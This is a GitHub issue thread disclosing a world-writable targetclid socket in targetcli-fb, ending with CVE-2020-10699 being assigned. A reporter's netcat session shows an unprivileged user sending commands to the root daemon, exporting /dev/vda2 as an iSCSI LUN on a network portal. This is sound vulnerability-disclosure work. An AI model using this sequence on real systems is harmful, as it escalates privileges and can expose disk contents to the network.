/var/run/targetclid.sock is world writable

[alexmurray]

The systemd socket unit fails to specify any SocketMode so the socket is world writable (0666) - as such any user can connect to it and send commands to targetclid without authentication. This is a likely a security vulnerability.

targetcli-fb/systemd/targetclid.socket

Line 6 in 23877ab

ListenStream=/var/run/targetclid.sock

[gonzoleeman]

So you have not verified that any harm can come from this?

[alexmurray]

This was noticed during a code audit for targetcli-fb - I tried to determine what effects this could enable but am not familiar enough with the actual use of targetcli to do this easily (plus I had limited time to spend on investigation) - but my understanding of the targetcli -> targetclid architecture is that targetcli acts as a proxy to send commands etc to targetclid (which runs as root) - and so if the targetclid socket is world writable anyone can send commands etc without authorisation (as noted in issue #163) - and so can change the LIO target within the kernel without necessarily having the permission to do so themselves - hence this crosses a security boundary (unprivileged user -> privileged targetclid) and so is a security vulnerability to my understanding.

[alexmurray]

Regardless of targetcli - since the socket is world writable anyone can connect and make direct alterations to the LIO target as a regular user using just netcat (following examples from this tutorial - https://linuxacademy.com/guide/21208-how-to-share-your-storage-with-iscsi/) :

amurray@sec-focal-amd64:~$ id
uid=1000(amurray) gid=1000(amurray) groups=1000(amurray),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
amurray@sec-focal-amd64:~$ nc -U /var/run/targetclid.sock
ls /
2o- / ......................................................................................................................... [...]
  o- backstores .............................................................................................................. [...]
  | o- block .................................................................................................. [Storage Objects: 0]
  | o- fileio ................................................................................................. [Storage Objects: 0]
  | o- pscsi .................................................................................................. [Storage Objects: 0]
  | o- ramdisk ................................................................................................ [Storage Objects: 0]
  o- iscsi ............................................................................................................ [Targets: 0]
  o- loopback ......................................................................................................... [Targets: 0]
  o- vhost ............................................................................................................ [Targets: 0]
  o- xen-pvscsi ....................................................................................................... [Targets: 0]
cd /backstores/block
create disk /dev/vda2
3Created block storage object disk using /dev/vda2.
cd /iscsi
create iqn.2017-08.com.example:server
>Created target iqn.2017-08.com.example:server.
Created TPG 1.
cd /iscsi/iqn.2017-08.com.example:server/tpg1/luns
create /backstores/block/disk
Created LUN 0.
cd /iscsi/iqn.2017-08.com.example:server/tpg1/portals/
create 192.168.122.192
HUsing default IP port 3260
Created network portal 192.168.122.192:3260.
ls

o- portals ............................................................................................................ [Portals: 1]
  o- 192.168.122.192:3260 ..................................................................................................... [OK]

[alexmurray]

@pkalever Can Red Hat please assign a CVE for this issue?

[pkalever]

@pkalever Can Red Hat please assign a CVE for this issue?

This change is released upstream part of tag: v2.1.50, but is not yet packaged in any of Fedora/CentOs/RHEL OS flavors. @maurizio-lombardi is the package maintainer who can correct me though.

That way, we don't need a CVE, correct @sidhax ?

[alexmurray]

A CVE is used to identify the flaw - which exists in 2.1.50 and 2.1.51 - whilst this might not be packaged in Fedora etc, Ubuntu does package 2.1.51 in the upcoming 20.04 - and other distros might package this as well - so it would be best to have the CVE assigned by Red Hat since you are the upstream maintainers.

[pkalever]

@alexmurray Noted. I will talk to @sidhax and see what can be done on this, will keep posted as it progresses.

Thanks!

[gonzoleeman]

I believe you still must be root to make any changes to the sysfs-based LIO target interfaces. All targetcli does is (basically) make interfacing with sysfs easier.

I'm all for changing the permissions on the socket, but I still don't see the CVE myself. I think CVEs are too-easily called for, and this might be a case where one is not needed.

[alexmurray]

No you are mistaken, the daemon runs as root and provides a socket to which clients can write commands to and which it will execute on their behalf, so since the socket is world writeable any unprivileged user can write to it and targetclid will execute the commands even though the user is not privileged. Hence crosses a privilege boundary and so is a vulnerability.

[gonzoleeman]

So the daemon is the security hole. The work around is not to enable the daemon. In SUSE I have not enabled the daemon because it breaks interactive mode anyway. But fixing these holes seems like a good idea anyway, since other distros seem to use the daemon extensively. Plus any administrator could still enable it on our systems.

[pkalever]

@alexmurray Noted. I will talk to @sidhax and see what can be done on this, will keep posted as it progresses.

@alexmurray Redhat's product security team is involved and they are currently analyzing this vulnerability.

I will keep this thread posted as soon as more information is available.

Thanks!

[alexmurray]

@pkalever ok no worries, thanks, will keep an eye on this thread for updates.

[cedricbu]

CVE-2020-10699 was assigned to this flaw. Thanks for notifying!